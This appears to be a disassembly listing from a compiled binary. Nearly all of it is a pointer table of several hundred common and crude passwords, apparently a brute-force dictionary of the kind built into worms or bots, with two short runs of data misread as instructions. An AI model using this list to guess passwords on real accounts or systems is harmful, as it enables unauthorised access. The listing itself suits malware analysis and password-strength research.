dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_433C1C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_4279BC
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
; ---------------------------------------------------------------------------
mov esp, 0B400433Bh
cmp eax, [ebx+0]
lodsb
cmp eax, [ebx+0]
mov al, ds:9400433Bh
cmp eax, [ebx+0]
movsb
retn 42h
; ---------------------------------------------------------------------------
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
; ---------------------------------------------------------------------------
sal byte ptr [edx], 1
inc ebx
add ah, al
xor al, [ebx+0]
mov esp, 0B0004332h
xor al, [ebx+0]
test al, 32h
inc ebx
add [eax+20004332h], ah
retn
; ---------------------------------------------------------------------------
dw 42h
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool_0 ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay_1 ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
